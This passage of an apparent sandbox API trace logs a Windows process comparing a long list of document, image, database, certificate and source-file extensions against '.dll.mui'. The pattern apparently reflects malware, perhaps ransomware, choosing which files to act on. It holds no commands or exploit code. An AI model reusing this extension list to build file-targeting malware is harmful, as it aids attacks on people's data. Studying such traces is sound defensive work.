lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".accdt") returned 6 [0236.759] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".accdw") returned 6 [0236.759] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0236.759] lstrlenW (lpString=".adb") returned 4 [0236.759] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".adp") returned 4 [0236.759] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".ai") returned 3 [0236.759] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0236.759] lstrlenW (lpString=".ai3") returned 4 [0236.759] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0236.759] lstrlenW (lpString=".ai4") returned 4 [0236.759] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".ai5") returned 4 [0236.760] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".ai6") returned 4 [0236.760] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".ai7") returned 4 [0236.760] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".ai8") returned 4 [0236.760] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".anim") returned 5 [0236.760] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0236.760] lstrlenW (lpString=".arw") returned 4 [0236.760] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".as") returned 3 [0236.760] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0236.760] lstrlenW (lpString=".asa") returned 4 [0236.760] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".asc") returned 4 [0236.760] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".ascx") returned 5 [0236.760] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0236.760] lstrlenW (lpString=".asm") returned 4 [0236.760] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".asmx") returned 5 [0236.760] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0236.760] lstrlenW (lpString=".asp") returned 4 [0236.760] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".aspx") returned 5 [0236.760] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0236.760] lstrlenW (lpString=".asr") returned 4 [0236.760] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".asx") returned 4 [0236.760] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".avi") returned 4 [0236.760] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".avs") returned 4 [0236.760] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0236.760] lstrlenW (lpString=".backup") returned 7 [0236.761] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0236.761] lstrlenW (lpString=".bak") returned 4 [0236.761] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".bay") returned 4 [0236.761] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".bd") returned 3 [0236.761] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0236.761] lstrlenW (lpString=".bin") returned 4 [0236.761] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".bmp") returned 4 [0236.761] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".bz2") returned 4 [0236.761] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".c") returned 2 [0236.761] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0236.761] lstrlenW (lpString=".cdr") returned 4 [0236.761] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".cer") returned 4 [0236.761] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".cf") returned 3 [0236.761] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0236.761] lstrlenW (lpString=".cfc") returned 4 [0236.761] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".cfm") returned 4 [0236.761] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".cfml") returned 5 [0236.761] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0236.761] lstrlenW (lpString=".cfu") returned 4 [0236.761] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".chm") returned 4 [0236.761] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".cin") returned 4 [0236.761] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".class") returned 6 [0236.761] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0236.761] lstrlenW (lpString=".clx") returned 4 [0236.761] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0236.761] lstrlenW (lpString=".config") returned 7 [0236.762] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0236.762] lstrlenW (lpString=".cpp") returned 4 [0236.762] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".cr2") returned 4 [0236.762] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".crt") returned 4 [0236.762] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".crw") returned 4 [0236.762] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".cs") returned 3 [0236.762] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0236.762] lstrlenW (lpString=".css") returned 4 [0236.762] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".csv") returned 4 [0236.762] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".cub") returned 4 [0236.762] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dae") returned 4 [0236.762] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dat") returned 4 [0236.762] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".db") returned 3 [0236.762] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0236.762] lstrlenW (lpString=".dbf") returned 4 [0236.762] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dbx") returned 4 [0236.762] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dc3") returned 4 [0236.762] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dcm") returned 4 [0236.762] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dcr") returned 4 [0236.762] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".der") returned 4 [0236.762] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dib") returned 4 [0236.762] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0236.762] lstrlenW (lpString=".dic") returned 4 [0236.763] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".dif") returned 4 [0236.763] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".divx") returned 5 [0236.763] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".djvu") returned 5 [0236.763] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".dng") returned 4 [0236.763] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".doc") returned 4 [0236.763] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".docm") returned 5 [0236.763] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".docx") returned 5 [0236.763] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".dot") returned 4 [0236.763] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".dotm") returned 5 [0236.763] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".dotx") returned 5 [0236.763] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0236.763] lstrlenW (lpString=".dpx") returned 4 [0236.763] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0236.763] lstrlenW (lpString=".dqy") returned 4 [0236.764] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".dsn") returned 4 [0236.764] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".dt") returned 3 [0236.764] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0236.764] lstrlenW (lpString=".dtd") returned 4 [0236.764] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".dwg") returned 4 [0236.764] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".dwt") returned 4 [0236.764] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".dx") returned 3 [0236.764] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0236.764] lstrlenW (lpString=".dxf") returned 4 [0236.764] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".edml") returned 5 [0236.764] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0236.764] lstrlenW (lpString=".efd") returned 4 [0236.764] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".elf") returned 4 [0236.764] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".emf") returned 4 [0236.764] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".emz") returned 4 [0236.764] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".epf") returned 4 [0236.764] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".eps") returned 4 [0236.764] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0236.764] lstrlenW (lpString=".epsf") returned 5 [0236.764] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0236.765] lstrlenW (lpString=".epsp") returned 5 [0236.765] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0236.765] lstrlenW (lpString=".erf") returned 4 [0236.765] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".exr") returned 4 [0236.765] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".f4v") returned 4 [0236.765] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".fido") returned 5 [0236.765] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0236.765] lstrlenW (lpString=".flm") returned 4 [0236.765] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".flv") returned 4 [0236.765] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".frm") returned 4 [0236.765] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".fxg") returned 4 [0236.765] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".geo") returned 4 [0236.765] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".gif") returned 4 [0236.765] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".grs") returned 4 [0236.765] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".gz") returned 3 [0236.765] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0236.765] lstrlenW (lpString=".h") returned 2 [0236.765] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0236.765] lstrlenW (lpString=".hdr") returned 4 [0236.765] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".hpp") returned 4 [0236.765] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".hta") returned 4 [0236.765] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".htc") returned 4 [0236.765] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0236.765] lstrlenW (lpString=".htm") returned 4 [0236.765] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".html") returned 5 [0236.766] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0236.766] lstrlenW (lpString=".icb") returned 4 [0236.766] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".ics") returned 4 [0236.766] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".iff") returned 4 [0236.766] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".inc") returned 4 [0236.766] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".indd") returned 5 [0236.766] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0236.766] lstrlenW (lpString=".ini") returned 4 [0236.766] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".iqy") returned 4 [0236.766] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".j2c") returned 4 [0236.766] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".j2k") returned 4 [0236.766] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".java") returned 5 [0236.766] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0236.766] lstrlenW (lpString=".jp2") returned 4 [0236.766] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".jpc") returned 4 [0236.766] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".jpe") returned 4 [0236.766] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".jpeg") returned 5 [0236.766] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0236.766] lstrlenW (lpString=".jpf") returned 4 [0236.766] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".jpg") returned 4 [0236.766] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".jpx") returned 4 [0236.766] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0236.766] lstrlenW (lpString=".js") returned 3 [0236.767] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0236.767] lstrlenW (lpString=".jsf") returned 4 [0236.767] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".json") returned 5 [0236.767] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0236.767] lstrlenW (lpString=".jsp") returned 4 [0236.767] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".kdc") returned 4 [0236.767] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".kmz") returned 4 [0236.767] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".kwm") returned 4 [0236.767] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".lasso") returned 6 [0236.767] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0236.767] lstrlenW (lpString=".lbi") returned 4 [0236.767] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".lgf") returned 4 [0236.767] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".lgp") returned 4 [0236.767] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".log") returned 4 [0236.767] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".m1v") returned 4 [0236.767] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".m4a") returned 4 [0236.767] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".m4v") returned 4 [0236.767] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".max") returned 4 [0236.767] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".md") returned 3 [0236.767] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0236.767] lstrlenW (lpString=".mda") returned 4 [0236.767] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0236.767] lstrlenW (lpString=".mdb") returned 4 [0236.768] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mde") returned 4 [0236.768] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mdf") returned 4 [0236.768] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mdw") returned 4 [0236.768] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mef") returned 4 [0236.768] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mft") returned 4 [0236.768] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mfw") returned 4 [0236.768] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mht") returned 4 [0236.768] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mhtml") returned 6 [0236.768] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0236.768] lstrlenW (lpString=".mka") returned 4 [0236.768] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mkidx") returned 6 [0236.768] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0236.768] lstrlenW (lpString=".mkv") returned 4 [0236.768] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mos") returned 4 [0236.768] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mov") returned 4 [0236.768] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mp3") returned 4 [0236.768] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mp4") returned 4 [0236.768] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mpeg") returned 5 [0236.768] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0236.768] lstrlenW (lpString=".mpg") returned 4 [0236.768] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0236.768] lstrlenW (lpString=".mpv") returned 4 [0236.769] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0236.769] lstrlenW (lpString=".mrw") returned 4 [0236.769] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0236.769] lstrlenW (lpString=".msg") returned 4 [0236.769] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0236.769] lstrlenW (lpString=".mxl") returned 4 [0236.769] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".myd") returned 4 [0236.769] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".myi") returned 4 [0236.769] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".nef") returned 4 [0236.769] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".nrw") returned 4 [0236.769] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".obj") returned 4 [0236.769] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".odb") returned 4 [0236.769] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".odc") returned 4 [0236.769] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".odm") returned 4 [0236.769] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".odp") returned 4 [0236.769] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".ods") returned 4 [0236.769] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".oft") returned 4 [0236.769] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".one") returned 4 [0236.769] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".onepkg") returned 7 [0236.769] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0236.769] lstrlenW (lpString=".onetoc2") returned 8 [0236.769] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0236.769] lstrlenW (lpString=".opt") returned 4 [0236.769] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0236.769] lstrlenW (lpString=".oqy") returned 4 [0236.770] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".orf") returned 4 [0236.770] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".p12") returned 4 [0236.770] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".p7b") returned 4 [0236.770] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".p7c") returned 4 [0236.770] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pam") returned 4 [0236.770] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pbm") returned 4 [0236.770] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pct") returned 4 [0236.770] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pcx") returned 4 [0236.770] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pdd") returned 4 [0236.770] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pdf") returned 4 [0236.770] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pdp") returned 4 [0236.770] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pef") returned 4 [0236.770] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pem") returned 4 [0236.770] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pff") returned 4 [0236.770] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pfm") returned 4 [0236.770] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pfx") returned 4 [0236.770] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".pgm") returned 4 [0236.770] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0236.770] lstrlenW (lpString=".php") returned 4 [0236.770] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".php3") returned 5 [0236.771] lstrcmpiW (lpString1=".php3", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".php4") returned 5 [0236.771] lstrcmpiW (lpString1=".php4", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".php5") returned 5 [0236.771] lstrcmpiW (lpString1=".php5", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".phtml") returned 6 [0236.771] lstrcmpiW (lpString1=".phtml", lpString2="ll.mui") returned -1 [0236.771] lstrlenW (lpString=".pict") returned 5 [0236.771] lstrcmpiW (lpString1=".pict", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".pl") returned 3 [0236.771] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0236.771] lstrlenW (lpString=".pls") returned 4 [0236.771] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".pm") returned 3 [0236.771] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0236.771] lstrlenW (lpString=".png") returned 4 [0236.771] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".pnm") returned 4 [0236.771] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".pot") returned 4 [0236.771] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".potm") returned 5 [0236.771] lstrcmpiW (lpString1=".potm", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".potx") returned 5 [0236.771] lstrcmpiW (lpString1=".potx", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".ppa") returned 4 [0236.771] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".ppam") returned 5 [0236.771] lstrcmpiW (lpString1=".ppam", lpString2="l.mui") returned -1 [0236.771] lstrlenW (lpString=".ppm") returned 4 [0236.771] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".pps") returned 4 [0236.771] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0236.771] lstrlenW (lpString=".ppsm") returned 5 [0236.771] lstrcmpiW (lpString1=".ppsm", lpString2="l.mui") returned -1 [0236.772] lstrlenW (lpString=".ppt") returned 4 [0236.772] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".pptm") returned 5 [0236.772] lstrcmpiW (lpString1=".pptm", lpString2="l.mui") returned -1 [0236.772] lstrlenW (lpString=".pptx") returned 5 [0236.772] lstrcmpiW (lpString1=".pptx", lpString2="l.mui") returned -1 [0236.772] lstrlenW (lpString=".prn") returned 4 [0236.772] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".ps") returned 3 [0236.772] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0236.772] lstrlenW (lpString=".psb") returned 4 [0236.772] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".psd") returned 4 [0236.772] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".pst") returned 4 [0236.772] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".ptx") returned 4 [0236.772] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".pub") returned 4 [0236.772] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0236.772] lstrlenW (lpString=".pwm") returned 4 [0236.772] lstrcmpiW 